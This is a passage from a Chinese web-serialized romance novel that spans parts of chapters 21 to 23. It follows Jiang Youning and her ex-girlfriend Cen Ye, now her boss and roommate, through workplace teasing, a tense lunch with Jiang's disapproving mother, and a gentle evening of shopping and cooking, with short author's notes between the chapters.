女人单只手撑在墙边,挡住了她逃离的步伐,“柠柠,你脸红什么呢?” “我没脸红……你办公室空调还没开吧……”姜又柠脑子发麻地推开她,一不小心触碰到柔软的春光,又惊慌失措地收回了手。 岑曳凑近她的脸,故意朝着她的颊边吹了口热气。 一股急促的电流从耳朵窜到头顶,她抑制不住地发出了细微的呜咽声。 “岑曳……”姜又柠用嘴巴大口呼吸,有些承受不住当下焦灼的气氛。 奇怪,她们明明什么都没做。 姜又柠彻底闭上眼睛,根本不敢看向面前的岑曳,“你,你先转过去,我帮你贴膏药!” 女人拉着她往沙发的方向走过去,又将她的手主动放在了自己的腰后,“要小心一点啊,不然我可是会疼的。” 她半坐在沙发上,身子前倾趴在扶手上,姜又柠小心翼翼地将她的衬衫揭开,看见了女人光滑白皙的后背。 “磕到哪儿了啊……没看见淤青啊?”姜又柠凑近仔细瞧了瞧,“岑曳,你哪裏疼?” 她不好意思直接上手碰,扯了下女人的手示意她主动些。 “没有淤青吗?”岑曳反问她,“可能,已经消退了?” 姜又柠愣着,视线忍不住盯着女人的腰线看。 她罕少这样认真看她,以往岑曳这样半赤/裸着跟她接触时,她的眸光都是模糊的、水润的,什么都看不清楚。 岑曳再次抓过她的手,往自己的后腰上探,语气魅惑,“难道昨天是我看错了?” 指尖触碰到肌肤的热度,姜又柠的手立刻挣扎着缩了回去。 她愣了下,瞪大眼睛愤愤喊,“喂!岑曳?你是不是耍我?”—— 作者有话说:怎么会有诱攻抓着妹的手往自己身上摸呢?唉,还有天理吗? 这对是有心机的坏狐貍和张牙舞爪的小貍猫,狐貍猫念起来好顺口哈哈哈! 不过我们小姜被喊小海豹也很萌,她就是一个吃饱了之后爱瘫着拍肚子的乖宝啊[害羞][害羞] 第22章 闻言, 岑曳就笑出了声。 她坐直了身体,也不管姜又柠好不好意思正面看她,双手慢悠悠将大敞的衬衫扣子系上了。 姜又柠将膏药扔给她, 气冲冲站起来,“我不会再上当受骗!” “下次得摔得重一点,不然伤口好得这么快, 倒像是我在唬人一样。”岑曳对着镜子整理自己的领口,语气轻飘飘的, “疼也受了骂也挨了, 两边都讨不到好啊。” 说得还挺真的, 姜又柠又一次开始怀疑这个可信度。 有时候身上没有淤青, 按一下也会莫名其妙有点疼,这种情况不是不可能出现的。 “昨天是意外,我已经下单了防护贴,快递到了我就贴上。”姜又柠抿抿唇, 刚才骂了一半的话在嘴边被堵了回去, 此刻心裏闷闷的,复杂又酸涩。 她小心翼翼瞄了女人一眼,还是快步离开了办公室。 终于呼吸到新鲜的空气,姜又柠长嘆一口气,恹恹地走回了工位。 江诗文双脚一滑, 办公椅滑到她身边, “怎么了?挨总监骂了?我刚刚开组会的时候, 还夸你表现好了来着。” “倒不是被骂了……就是……”姜又柠根本说不出口,“不过你脸色好像也很差的样子。” “知道庄玟要来部门了呗,不过我还没跟她见上面。”江诗文撑着脑袋,“岑曳姐说, 我在总部待过,问我要不要跟着庄玟那边跑外务……” “她不是知道你跟庄玟的情况吗?”姜又柠缓解着自己的情绪,每次提起岑曳的时候眼前浮现的还是女人白皙的脊背。 她狂喝了一大杯水,呼吸不太稳。 “所以她在问我的意见,我们部门总要有人出外务的,站在她的角度考虑,不谈私下感情的话,没人比我更合适了,而且我们部门也不止我一个人。” “跟着庄玟的话,那你工作能力肯定进步得飞快。”姜又柠认真地给她提建议,“但你跟她接触的话,肯定还是得谈一谈结婚的事情。” “你不知道吧柠柠,庄玟就是总部那边会把业界毒瘤当成是夸奖的那种人。”江诗文想想就觉得可怕,“与其谈恋爱结婚,我更想活久一点啊!!” “其实谈恋爱的感觉挺好的,不就是相亲嘛,你跟庄玟适当性地深入交流一下?” “你谈过啊?”看见姜又柠点点头,江诗文疑惑地问,“之前没见你提过谈恋爱的事情,我还以为你是母单呢。不过谈恋爱什么感觉?她长得好看吗?有钱吗?性格怎么样?为什么分手了?现在还联系吗……” 江诗文啰啰嗦嗦问了一连串问题出来,每个都精准砸在姜又柠难以启齿的点上。 姜又柠舔了下唇,指尖发热,这下脑子裏不光出现了岑曳姣好的身体曲线,手指还在回味女人温热的肌肤。 过去岑曳的手落在她身上的时候,也会觉得她的肌肤烫到让人心跳加速吗? 怎么在她们之间,不管谁摸谁,情绪不稳的永远是她啊? “聊前任多没意思。”姜又柠打着哈哈,“上次你不是帮我朋友圈招募对象来着?” “你说这个啊,明眼上都是开玩笑的谁会当真啊?而且我很多朋友都在国外,你喜欢异国恋吗?” 姜又柠重重敲了几下键盘,“一点儿都不喜欢!” “不过岑曳姐给我点了个赞,她这个人不怎么看朋友圈的,给我惊讶了一下。” “手滑吧。” “不是哦!”江诗文摇摇头,“我还问她了,我说你也觉得柠柠该谈个恋爱了吧?那个时候我还以为你是母单呢,后来她回了个‘随她的便。’这不像手滑吧?” “你之后别跟她聊我了,其实我跟她真不怎么熟。”姜又柠搬出自己听了无数遍的姜鸿英叮嘱她的那些话,“她是雇主的女儿,我是家政的女儿,表面上虽然没什么,但地位高低就摆在这儿,关系不可能亲近的。” “那是过去嘛,现在你俩是合租室友,可以当朋友处啊。”江诗文不以为然,“还分地位高低呢?你怎么也老封建了,谈恋爱喜欢才是最重要的。” 她想起跟庄玟的相亲来,又嘆了口气。 “喜欢是重要,但合适才是最重要的。”姜又柠的语气低迷了些,眸光裏的光亮也黯淡了不少。 就像她跟岑曳,谈恋爱的时候爱得死去活来,但一点儿都不合适。 被硬生生拆开的后果就是,吵得天翻地覆,老死不相往来的那种。 她是不肯服软的人,难听话也没什么顾忌,后来冷静下来想想,有些话的确是不该说的。 所以说一开始跟岑曳在公司见到,她总觉得别扭,但这个女人好像一点儿都不这么想。 忘性大吗?还是根本不在乎过去的那段感情? 姜又柠猜不透她。 “怎么总感觉你像被个有钱的渣女伤过一样?”江诗文挠挠头,怎么看怎么奇怪,“第一段感情很失败吗?” “其实挺好的,但要是没谈过那段恋爱也挺好的。” 说不定她们母女跟岑家现在还能是有来有往的朋友,不会闹得那么难看。 按照岑千兰滴水不漏的做事风格,没有触碰到她的底线,身边接触过的人就都能是她的朋友,都能听她夸几句好话。 只是她不该招惹岑曳的,这是岑千兰最宝贝最骄傲的女儿。 她配不上她。 “我在上什么哲学课吗?你知道的,我在国内生活的时间不多,太深奥的话我是听不懂的。”江诗文直白地承认了,“让我来猜一下。所以你初恋谈了个有钱人,她伤害了你,觉得你配不上她,狠狠地把你甩了?” “是我伤害了她,应该也是我把她甩了吧……” 岑曳真的对她太好了,但很多事情是没办法按照设想的样子发生的。 恋爱的时候有多快乐,分手的时候就有多痛苦,甚至还是加倍的。 这下江诗文完全糊涂了,“所以你为什么难过?内疚吗?” “我才不会对她内疚。” 短短几分钟之内,姜又柠脸上的情绪变了又变。 或难过,或气愤,但从来没有轻松的神情出现过。 谈恋爱的时候就是一种负担,分手了这段感情经历也还是像座大山一样压在她的身上,伴随着跟岑曳的再次见面,重量开始翻倍地增长,让她心慌意乱,甚至想要逃。 可越是想逃,就越逃不掉。 “诗文。”姜又柠想起什么,“前段时间我记得你跟我说过的,岑曳要租你那个小区,但是是要独居的吧?” “对啊,我本来还想问问她要不要跟你做室友的,她先说了喜欢自己一个人住,我就没开这个口了,不过老天还挺会安排的哈。”江诗文扬了扬唇,“这就是天意啊柠柠,就算分开多久,命中注定还是会重逢的。” 越说越吓人了。 姜又柠拍了拍她的办公椅,示意她坐回去,“不是要跑外务吗?赶紧整理你的材料吧。” 江诗文嘴一撇,双脚往地上一滑,闷闷道,“好端端的,又提这些伤心事儿……”- 庄玟的到来成功让岑曳和部门内负责对接的员工开始加班了。 岑曳连着几天下班到家的时间是晚上十点多,有一次还过了零点。 周五晚下班之后,姜又柠正盘腿坐在沙发上看电视,怀裏抱着洗好的一碗圣女果。 她手裏拎着几个精致的红色礼品盒,“给姜阿姨买的补品,你抽空帮我带过去吧。” “……好。”姜又柠看了眼时间,“九点半,今天回来得还挺早的。” “今晚睡个好觉,明天还要去公司。” 岑曳换了拖鞋,姜又柠趁着她经过,将碗递到她面前,“吃吗?” 岑曳看了眼,“手太脏了。” 姜又柠收回了碗,以为她要先去洗手,但之后女人还站在面前,挡住了大半个电视。 她疑惑抬头,看见女人微微张唇,口型是一个‘啊’。 不喂好像说不过去…… 姜又柠迟疑了下,拿起一个圣女果喂进了女人的嘴裏。 柔软的唇轻触了下她的指尖,姜又柠现在已经对这种微妙的接触起了应激反应。 甚至在拿起圣女果之前,她就已经想过女人的唇会不会触碰到她的手指了。 “好甜。”岑曳说着便走向了洗漱间。 几分钟之后,岑曳在她的身边坐下了,电视上还放着好笑的综艺。 姜又柠还挺喜欢看综艺的,这种不带脑子纯放松的综艺是她最喜欢的,哪怕没有笑点,但一群mc故意哈哈大笑的氛围就能让她跟着笑出声。 小时候岑曳也跟着她看,她笑岑曳就笑,她没get到的梗,岑曳也表现得很平淡。 起初她以为岑曳跟她的笑点很一致,后来才知道岑曳一直在观察她而已,晚上同睡时跟她再次聊综艺的时候,这个女人完全不记得任何一个笑点了。 热恋的时候觉得这种事情很甜,现在的姜又柠就是如坐针毡了。 旁边的岑曳现在也在观察她吗?还是说,已经改掉了不爱看综艺的毛病? “还吃吗?”为了缓解尴尬,姜又柠将圣女果的碗再次递了过去。 岑曳拿起一颗塞进嘴裏,视线落在了面前的电视上,“这综艺讲的什么?” “不讲什么啊,就戴耳机传声筒而已。” 看综艺还要讲什么大道理?好笑就行了呗。 姜又柠最讨厌综艺最后上价值,跟她在网上看到的那些中式家长一样,饭桌上吃个好吃的,非要教育孩子粒粒皆辛苦。 岑曳点点头,跟着看。 谐音梗层出不穷,甚至听岔了还会变成18+,姜又柠立即笑出了声。 岑曳微顿,思考着自己该不该笑,但当她刚刚准备出声的时候姜又柠的笑声就停了。 短暂,而又猖狂。 往复几次,她不再将自己的注意力放在面前无聊的综艺上了,准备像往常那样直接用余光观察姜又柠的时候,就跟她对上了视线。 现在的姜又柠同样也在观察岑曳,但架不住综艺太好笑,她笑了好几次意识到身边的女人完全没动静之后,这综艺就看不下去了。 “我把茶几和餐桌的尖角都贴了防护贴。”姜又柠立即换了话题,生怕岑曳说出任何一个会让她想起过去的字。 “干得不错。” “你夸我能夸得诚心一点吗?我现在是你的室友,不是你的下属。” “柠柠……” 称呼一开口,姜又柠就喊了停,“我觉得刚才那句夸得也挺好的。” 岑曳现在不可以喊她‘柠柠’,就像她现在绝对不会喊岑曳‘姐姐’一样。 只有跟过去彻底割舍开来,姜又柠现在才能够坦然地面对她。 “奥对了,今天早上上班的时候工资到账了,我把剩余的五千块转给你。” “能帮我换成别的东西吗?” 姜又柠的手指一顿,“什么?” “那个做手工皂的工作室,店主是个奶奶,在她家买了太多,最近买要给我打折,打得挺狠的。”岑曳说,“你帮我下个新单子,原价付过去就好了。” 姜又柠看到她推给自己的微信名片,“你还在用这个牌子啊。” “用习惯了,没必要换。”岑曳将空碗拿去厨房清洗,“按照我发给你的款式买就好了。” “但是花不了五千块哎。” “那就留着,用光了再买。” 姜又柠点点头,加上了店主的微信之后迅速发过去了要求。 对方说买这么多可以选一个新款免费赠送试用装,姜又柠又问岑曳的意见。 “你选个喜欢的就好了,我对新的没什么兴趣。”岑曳看着她的手机屏幕,“麻烦你帮我了,谢谢。” “跟我还客套什么……”姜又柠下意识嘟囔一句,又别扭地看了女人一眼,“这钱反正是你的,我帮你忙是应该的,不用谢。” 她在对方发过来的新款裏面挑选了一个青柠味的手工皂,把自己的联系方式和地址也一并发了过去。 地上还放着买来的补品,姜又柠这才走过去细看,是一些维生素钙片和鱼油,鲜炖产品则是一些燕窝和海参。 眼看岑曳就要进卧室了,姜又柠没有犹豫道,“我这周末去看我妈,要不要一起去?你星期天要加班吗?” “算了。”岑曳婉拒道,“最近几天太忙了,周末我想好好休息一下。” “谢谢你买的补品。”姜又柠认真说,“我会跟妈妈说,是你买的。” 岑曳沉默几秒钟,“柠柠,别做这些勉强的事情。” 明明她们都知道,姜鸿英不会喜欢见到岑曳,也不想听到关于岑曳的事情。 “姜阿姨年纪大了,买补品是为了她的健康,除此之外,没有任何意思,也没有什么目的。” 姜又柠愣在原地,听懂了岑曳话裏的深意,却张了张嘴,不知道该怎么回答。 对于复合她没什么想法,但岑曳人真的好,她不想姜鸿英因为她们这段不该有的恋爱对岑曳产生偏见。 “很多事情都过去了,再次提起来很有可能是一种伤害。”岑曳格外平静,她的手往前伸了下,似乎是想要抚一抚姜又柠的脸,但最后还是作罢了。 “她对你有误会,我是想解开这个误会的。”姜又柠的手扶住门框,第一次不怎么想让她关上门,“难道你不想吗?” “想。”岑曳回答得很果断,“但,能做到吗?” 以后或许可以,但当下都知道,两个母亲都无法释怀两个女儿的那段恋爱。 女人上前一步,手还是没能忍住,她轻轻摩挲着姜又柠的脸,“慢慢来吧,好吗?” 解开所有的误会和委屈,不仅仅是老一辈人之间,还有她们之间- 第二天上午,姜又柠换了个白色短袖搭配简单的牛仔裤。 准备出发的时候恰巧岑曳起床,她便打了个招呼,双手拎满了补品准备离开。 “急着走吗?”岑曳问。 “不着急啊,怎么了?”姜又柠说,“我中午这个点到都行,陪我妈吃个饭。” “那你等等,送你过去吧,东西挺多的,自己去也不方便。” “也行。”姜又柠思索了下,同意了。 她还以为岑曳早早就去公司了,这下也算睡了个好觉。 姜又柠跟着她进了洗漱间,有些问题犹豫着该不该开口问。 “盯着我做什么?”一旁的视线太灼热,岑曳没办法忽略掉。 “你为什么会来国内这个部门啊?另个市区不是还有个分部门吗?那个跟总部对接过好几个项目,比来这儿划算多了。” 如果是为了混个总监的职位好进一步高升,那另个部门就更划算了。 “那个部门比较稳定,不需要我去参与。” “我听诗文说了,你在总部发展得挺好的,有那么顺的路不走,非得来国内吃苦。” 岑曳深深看她一眼,没有接上这个话题。 “阿,阿姨同意你回国吗?”姜又柠纠结得很,不知道该不该在两人之间提起岑千兰来。 岑千兰性格强势,对自己的女儿要求也非常高,不然也不会逼出那么严重的强迫症,一旦岑曳在重要节点的选择在她看来不是对的,就会强硬地把岑曳的选择掰正。 事实证明,岑千兰的选择从未错过,岑曳自身学习能力强,也不走岔路,从出生起到现在,一路都顺风顺水。 岑千兰是总部高层,又是从底层打拼上去的,上上下下都有人脉和关系,姜又柠想不通岑曳回国的理由。 要是她的话,她肯定会走最轻松的那条路的。 有关系不走,那是傻子。 有关系再加上有能力,那这辈子无敌了。 岑曳刷牙漱口,许久都没说话,姜又柠面上挂不住,“……我就随便问问,我去客厅等你。” 目的地在家政公司的集体宿舍,那儿人多,而且都是姜鸿英的熟人。 人年纪大了,就喜欢比孩子,姜又柠也懂背地裏的这些攀比。 哪家的孩子又送了好吃的,又给了钱,一传十十传百,嘴上夸赞有个别人好孩子,背地裏羡慕得很。 姜又柠自知自己赚不了大钱,但在人情世故这方面,她可是拿捏得恰到好处。 她就想要姜鸿英在那些老同事裏成为被羡慕的那一个。 半小时后,车子就停了,姜又柠不方便让岑曳跟着她进去,双手拎了满满的补品也没办法对着她招手,便站在驾驶座的窗口说,“你回公司吧,谢谢你送我。” “什么时候回家?我来接你。” “那就不用了,我坐地铁、打车,怎么着都能回。” 本来是想让岑曳先顾着工作,可关心的话说出口就变了味儿。 倒像是她故意置气,不想让岑曳来接她一样。 “你傍晚几点回家?”姜又柠没急着走,继续问她。 “你几点回去我就几点回去。” 又跟她来劲。 “得看我妈忙不忙,本来就只问了她中午这会儿的,我到时候联系你吧。”姜又柠说完就走,不给女人回答的功夫。 公司也有集体饭,姜又柠找到了姜鸿英人,她正跟一堆同事们聊天,见了姜又柠拎着一大堆东西来,又怪她乱花钱。 “哟,鱼油海参……都是些贵东西啊?” “还得是老姜闺女亲,几天就来看一次,我家姑娘在国外忙得很,每次给她打电话都不接,说给我钱让我自己花,一天到头都不说回来看我一次。” “生闺女是真好。” 一群人裏话裏有话,有羡慕也有夸赞,反正姜鸿英高兴,姜又柠就高兴。 她将补品放到姜鸿英的屋子裏,跟几个阿姨打了声招呼,聊了几句两之后就一起出门吃饭了。 “妈,我带你去吃一家本地的菜馆,我跟诗文去吃过两次,比较清淡,挺适合你吃的。”姜又柠打了车子,“下午你忙吗?我陪你去买件衣服吧,秋天马上就来了,现在这天偶尔下雨都凉飕飕的。” “我不用,我有钱,你现在工资还没我高呢。” 姜又柠抿抿唇,“……说这些。” “那些补品不是你买的吧?”坐上出租车之后,姜鸿英问她,“那东西可不是你能认全的。” 她现在工资虽然不低,但节省惯了,雇主人都不错,她需要花钱的地方也少。 平常姜又柠来会给她拎些酸奶和桃酥之类的甜品,适合年纪大的人吃。 姜鸿英做了这么多年的全职家政,刚才那些补品都是有钱人续命的玩意儿,一般人吃不起。 “是我买的呀,我托人帮我买的,都是好东西。”姜又柠不看她,往手机上搜着菜馆的菜单,“妈,你看看菜单,上面配有图片,你想吃什么?” “又在撒小谎了。” “诗文帮我买的,你不是跟她见过好几次吗?家裏很有钱的,能买来这些不是很正常吗?” “那你不是欠人家一个人情?”姜鸿英说,“妈妈跟你说过了,你交朋友还是交跟我们家庭匹配一些的,不然三观不合,聊到一起很难。” 姜又柠没忍住笑,“交朋友又不是谈恋爱,这还要门当户对啊?” “有钱人多数都爱使唤人,妈是怕你受气。”姜鸿英认真说,“用尊严去换能用钱买来的东西,不值当。” “你之前还夸诗文可爱呢,现在又聊这些。” “你知道我在跟你说什么,别转移话题。” “妈妈,这个丝瓜炒鸡蛋很下饭的,鸡蛋很嫩,也有味道,你可以尝尝。”姜又柠示意她看菜单,“这个排骨炖得很烂,你肯定特别喜欢。你不是最爱喝银耳汤了吗?上次我也喝了,特别香!” 姜鸿英看她一眼,嘆了口气,没有再提起刚才那个话题。 这家餐馆人很多,而且地点不在市中心,来这儿吃的几乎都是当地人。 姜又柠提前电话预约了位子,跟姜鸿英两个人在窗边的位子坐下。 “你看,还在二楼呢,外面来来往往的车子也不怎么吵了。”姜又柠下巴往外面扬了扬,将彩印的菜单递过去,“菜单给你,你再看看。” 姜鸿英点了几个菜,考虑了下说,“下次找个时间,妈妈跟诗文一起吃个饭好好谢谢她,那些补品能买到不容易,都是有渠道的,市场上不好买。” “是吗?”姜又柠有些意外,之后立刻反应过来,“不过吃饭就不用了,我们部门最近搞新项目,特别忙,她要跑外务,今天还去公司加班了。” “还是要好好休息,你们两个女孩子,更要注重身体,别弄得跟你之前那份工作一样。钱是赚到手了,但医院是真没少去。” “不会啦,我现在这份工作挺好的。”菜端上来,姜又柠主动给姜鸿英夹菜,“妈妈,你多吃一些。” 吃饭的过程中,姜又柠多数是倾听姜鸿英的近况,顺便给予情绪价值。 在雇主家裏工作是时时刻刻需要服从的,公司裏面又人多眼杂的,有心眼的人也不少,姜鸿英的那些无论好坏的情绪是很有少抒发渠道的。 姜又柠会认真听她讲的事情,然后跟她有来有往地聊。 “前段时间你跟我说要搬家,现在房子找到了吧?”看到姜又柠说跟江诗文住在一个小区,姜鸿英又笑着点点头,“室友好相处吗?你没毕业的时候最爱跟我吐槽室友了。” 姜又柠咬着筷子尖,“……室友挺好的。” “这样啊,那你跟她说妈妈是做什么工作了吗?现在做家政的,就怕被别人瞧不起,妈妈倒是无所谓,就怕你没面子。” “怎么会呢!能赚钱的工作都是好工作,妈,你别这样想!”姜又柠认真反驳她,“室友的话……” 她反驳完就变得支支吾吾的,“……室,室友也知道的。” “要是住得不舒服,咱就搬,别担心钱。”姜鸿英说,“妈妈虽然买不起大别墅,但妈妈能让你租到大别墅!” “我住得真的挺好的。”姜又柠垂下头,用勺子搅拌着银耳汤,舔了舔唇没有说话。 “住得好一回事儿,舒不舒心是另一回事儿。”姜鸿英嘆口气,“在岑家的时候就是住得好,但不怎么舒心。” “哎呀……你干嘛突然提这个?”姜又柠撑着下巴,吃饭的欲/望散了一大半。 “刚刚在车上的时候我就跟你说了,交朋友,谈恋爱要留心眼,亏也吃过了,别总是不当回事。” “我也跟你说了很多次,岑曳姐挺好的。” “她对你好是因为你对她没威胁,没要求,就是个没脑子的小孩儿、小妹妹。”姜鸿英冷声道,“我们是因为家政工作才去的岑家,要是奔着岑家的关系去的,她对你会有好脸色吗?你在岑家住了那么久,也见了不少去岑家吃饭做客的小孩子吧?她对哪个小孩子有过笑脸?” “她的好不是装的,我自己都清楚,我虽然没脑子,但我能看清岑曳姐的为人。” “她要是真心对你好,就不会跟你混到床上去!” 话刚说完,姜又柠的眼泪就落了下来。 她用袖口擦着眼泪,含糊不清地说,“你要是不想跟我吃饭,我今天就不来了,我跟你见五次面,有三次都要说这些……” 小时候挨姜鸿英的骂,她能找岑曳安慰她,发洩情绪。 可现在挨骂,骂的就是她爱找岑曳,还不准她继续跟岑曳接触。 她还能找谁缓解? 姜鸿英将纸巾递给她,皱着眉头无奈得很,“妈妈是怕你受气,我好歹也见过几个有钱人,她们的脾性太一致了,岑家的小姑娘对你是好,但她上头还有个妈,亲人是最重要的,你会跟妈妈站在一起,她也一定会,也确实这么做了。” “……不是的。”姜又柠的眼泪忍不住。 是她跟岑曳说了太多难听话,是她不想再继续下去了。 幼稚的人总做些幼稚的事情,可成熟之后却再也没有挽回破镜的余地了。 “好了好了,不要哭了。”姜鸿英心疼她,“下午陪妈妈去商场,好不好?知道你也难受,之后我尽量不跟你聊这些。” 姜又柠点点头,自己去卫生间洗了把脸,整理好情绪之后才重新坐下。 她付了钱,带着姜鸿英去逛了商场。 一下午,她陪姜鸿英买了好几套衣服,又买了些糕点要她带回宿舍给阿姨们吃。 姜又柠的情绪是很容易受到影响的,如果没有及时缓解,心裏面就会产生一个疙瘩。 她面上笑着陪姜鸿英逛街,尽量做好自己女儿陪伴母亲的责任,可偶尔闪过的几秒钟,她还是在为午饭时的那些话感到难过。 没有任何人能够轻易地释怀过去。 天渐渐黑的时候,她将姜鸿英送回集体宿舍,路过路口的时候看见了一个熟悉的车子。 是岑曳的车子,因为不是原来那辆老车子,所以姜鸿英认不出来,她却能。 草草聊了几句姜又柠就小跑着出来了,她看见岑曳下了车,笑着朝她走过来。 “你什么时候到的?怎么不跟我发消息?” “眼睛为什么红了?”岑曳不答反问,走近的脚步迟疑了。 “你等很久了吧……”姜又柠咬唇道,“你应该先回家的,我不主动找你,你还真在这儿等啊?万一我今天不回去怎么办?” 女人上前一步,指腹摩挲着她的眼尾,依旧问,“眼睛为什么红了?” 姜又柠顿了下,“……风吹的,最近熬夜,眼睛有点干。” 说完她便小心翼翼去看她,岑曳只是沉默着对上她的视线。 姜又柠垂下脑袋,推开了女人的手。 岑曳没有下一步动作,不说话,也不带着她上车,就只是站在原地看她。 姜又柠呆滞了下,发出了细微的抽泣声。 下一秒,她便主动抱住了女人的腰—— 作者有话说:坏狐貍和张牙舞爪小貍猫的温情时刻~~ 岑姐:既然主动送上门了…… 第23章 姜又柠突如其来的主动让岑曳愣了下, 她的手落在她的腰后,轻轻拍了几下。 今天是跟姜鸿英见面的,倒也不至于会发生什么事情。 姜家母女关系是很好的, 除了聊起过去关于岑家的以外,不会再有让姜又柠如此伤心的事情了。 女人抿了抿唇,带着她往车子的方向走, 脸上浅淡的笑容也伴随着抽噎的姜又柠瞬间散了个干净。 她为她拉开副驾驶的车门,凑近她帮她系上安全带, 双手放在方向盘上沉默着。 她是想安慰她的, 但没有立场。 “带你去吃饭好不好?”岑曳看了眼时间, “吃过晚饭了吗?” 姜又柠强忍着鼻尖的酸意, 努力将自己的话放得平稳,“没有,妈妈晚上要去雇主家裏做饭。” 她接过女人递来的湿巾擦眼睛,“我没胃口吃饭。” 岑曳想了想, “想逛超市吗?买些喝的放在冰箱裏。” 姜又柠红着眼睛看她, 努力挤出了一个笑容,“什么喝的都能买吗?” “你想喝就可以。” 岑曳是不吃垃圾食品,也不喝碳酸饮料的,不然之前也不会把她冰箱裏那些喝的全部清理掉。 小时候就是这样,姜又柠不想说难过的原因, 岑曳就不问她, 带着她去玩儿, 在外面闲逛是最好的缓解方式,她能够忘掉一切烦恼,跟岑曳毫无顾忌地待在一起。 “我不是小孩子了,饮料又不健康。” 岑曳笑了下, 这时候还要反驳她,自己在家裏乐呵的时候倒是喝得起劲,还要当着她的面打开易拉罐挑衅。 “可你哭起来跟小时候一样可怜。” 让她忍不住哄她,忍不住什么都买给她。 “我把你买的补品送给妈妈了。”姜又柠不提怎么送的,只是说了几句感谢的话,“那些补品挺难买的吧?麻烦你了。” “总说这些客气的话。”岑曳扯了扯唇,聊到姜鸿英的时候,她们之间的距离就变得尴尬起来。 没办法更近一步,也没办法坦然地聊出一切。 路上,岑曳偶尔抽空看一眼姜又柠,注意着她的情绪是否好转。 而姜又柠开了车窗,外面有轻微的不知名花香传进来,伴随着清凉的晚风。 江诗文发了条语音过来,姜又柠便直接点开了。 【江诗文:姜阿姨给我打电话了,说谢谢帮她买补品,我没买啊……?】 【江诗文:她是不是想我了?你去看她了没有?不是说想要我陪你去吗?】 姜又柠手抖着准备关掉语音,但下面接着蹦出来第二条,全部在寂静的车厢内播放得清清楚楚。 【姜又柠:你简单回她几句就好,就说是你买的,其余的我回头再跟你细说。】 她一言不发地发送了这条消息,想着该不该给岑曳解释一下。 “姜阿姨收下就好,这些补品对身体挺好的。” 女人主动开口给了个臺阶,姜又柠抿抿唇,还是解释道,“我想让她收的,因为是你买的。虽然我妈妈不知道,但我知道,这是你的心意。” 岑曳看她一眼又淡淡收回视线,姜又柠猜不透她的想法。 “诗文之前跟我去看过我妈几次,她性格跟我像,我妈挺喜欢她的。” 岑曳点点头,没有过多地延续这个话题,“晚上要不要做饭吃?” “可以吗?”姜又柠眨眨眼睛,收敛情绪之后,她的眼睛干涩得很,“我吃一点点就可以的。” “工作费脑子,下班之后总得吃点好的。” 姜又柠反应过来,“我找我妈妈问几道她的拿手好菜,我来做!” 女人勾了勾唇,得到了心满意足的答案。 车子终于在超市门口停下来,姜又柠下了车,岑曳快步走到她面前,仔细瞧了瞧她的脸。 “怎么了?”姜又柠别扭地转头。 刚刚主动抱住岑曳是因为脑子被难过的情绪支配了,这下冷静了之后,她跟岑曳之间就又恢复了尴尬的相处氛围。 岑曳将双手指腹放在姜又柠的眼尾,帮她揉按着眼窝。 姜又柠挣扎了下,没能逃掉。 双眼还在发干发涩,她舔了舔唇,感受着女人舒适的揉按。 这是岑曳熟练的动作,以往姜又柠哭的次数不少。 小时候是装哭少挨骂,或者被姜鸿英骂哭,之后就是被做哭。 无一例外的,岑曳会帮她揉按眼窝,缓解干涩,之后再落下一个轻轻的,温柔的吻。 几分钟之后,岑曳收回了手,视线描绘着她的这双手,双唇微动了下,没有下一步动作了,“好点了吗?” 姜又柠点点头,想到那个现在做不了的收尾动作,脸颊有些发烫。 “走吧。”岑曳推了个手推车,姜又柠小跑几步跟在她后面。 这是小区附近的超市,姜又柠没有来过,刚进去就被琳琅满目的商品吸引了。 她下意识攥住女人的袖口,放心地跟着她走,不用注意前面的路,反而可以专心地去看吸引到她的货品。 岑曳瞄她一眼,一只手放在她腰后护着她走,“想先去哪儿?” “先买菜吧!先做重要的事情。”姜又柠四处望着,指着蔬菜和肉的方向,“在那儿!” 她跑过去,点开手机,按照姜鸿英发给她的一一买了食材。 岑曳随手拿了几份姜又柠爱吃的海鲜放进购物车裏,不出声询问,给了姜又柠足够的购物权。 精致猪小排称好了,姜又柠看了眼价钱,走远几步才凑近女人的耳边低声道,“好贵哦。” 温热的呼吸转瞬即逝,岑曳看她一眼,漫不经心地摸了下自己的耳朵。 买完最后一份菜,姜又柠朝着饮品区走,“也不知道你口味变没变。” 这些食材岑曳还挺熟悉的,几乎都是过去在岑家,姜鸿英常做的几道菜。 她喜欢这些,所以姜又柠也记得很清楚。 “柠柠,我不会变的。” “是吗?”姜又柠下意识反问,顿了下看向女人的眼睛,随后不自然地去拿货架上的可乐,“没变就好,我找妈妈要的菜谱还是过去那几道常吃的。” 这些话总是让她多想。 口味没有变,那感情呢? 姜又柠知道自己并不抗拒跟岑曳的再次相处,可她不知道该怎么处理不愉快的过去。 刚刚重逢的那几天她是没能预料到,所以慌慌张张的,但现在她们已经是室友了,至少要合租三个月。 她维持租房子,好好工作这样的日子要几年甚至大几十年。 岑曳呢? 这个女人不会局限于租房子的,她可以在市中心买上一套大房子,但姜又柠不知道她的规划。 姜又柠买了一件可乐,又拿了一听啤酒。 岑曳两手拎着两个大袋子,姜又柠手裏拎着一颗大葱,拿着车钥匙对着车‘滴滴’了几下。 “考驾照了吗?”岑曳系着安全带问她。 “有钱买车了再考。”姜又柠将车钥匙递给她,“但现在公共交通多方便啊,我也不出远门,买车也没什么用。” 她乐呵呵的,“而且一辆二手至少也得几万块吧?只要我不考驾照,我就相当于白赚了几万!” 岑曳笑了下,“没事,一辆就足够了。” “什么?我没有车子的。”姜又柠没听懂,疑惑地看了她一眼。 但岑曳没有继续解释的意思,姜又柠也没好意思追问,不过她看起来心情倒是不错。 回家之后,姜又柠将喝的都摆进了冰箱,岑曳拎着蔬菜就走向了厨房清洗。 “头发要不要束起来?” 姜又柠递给她一个黑色的皮筋,岑曳示意她看了下湿漉漉的双手。 “帮我。” “行吧。”姜又柠不过多纠结,有时候岑曳没那个意思,她自己老乱想就不应该了。 她将岑曳的长发挽起来绑了三圈,又将自己的头发扎了个丸子头。 锅裏倒了冷水,又放进了排骨煮。 油锅放在火上,姜又柠倒了油,用手掌举到半空中试探了下油温。 “一个糖醋排骨,一个辣椒炒肉,还有一个清炒时蔬。”姜又柠报了菜名,“好久没吃过这么下饭的菜了。” “之前不自己做吗?”岑曳问。 “太懒了,而且老加班。”姜又柠说,“我那个室友也不会做饭,她比我还忙,我俩经常一起吃外卖。” 说完就看见女人的嘴角压了压,姜又柠冷哼一声,一边捞煮熟的排骨一边道,“所以得让员工准时下班,员工才有时间做健康的饭。本来还想着部门清闲,搬家之后一日三餐规律一些呢,谁知道你被调过来了……” “我才来了多久?这么坚信我是个喜欢压榨员工的上司?” 